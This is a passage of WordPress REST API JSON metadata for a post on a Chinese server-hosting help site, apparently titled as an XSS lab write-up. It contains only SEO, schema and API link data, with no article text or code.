\u6c99","og_url":"https:\/\/www.wsisp.com\/helps\/107435.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-09-19T10:25:22+00:00","og_image":[{"url":"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/09\/20260919102511-6aae63073166b.png"}],"author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"2 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/107435.html","url":"https:\/\/www.wsisp.com\/helps\/107435.html","name":"\u3010XSS\u3011\u4e4c\u6258\u90a6\u00b7\u738b\u7684\u5b9e\u9a8c\u5ba4 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-09-19T10:25:22+00:00","dateModified":"2026-09-19T10:25:22+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/107435.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/107435.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/107435.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"\u3010XSS\u3011\u4e4c\u6258\u90a6\u00b7\u738b\u7684\u5b9e\u9a8c\u5ba4"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/107435","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=107435"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/107435\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media\/107429"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=107435"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=107435"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=107435"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=107435"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}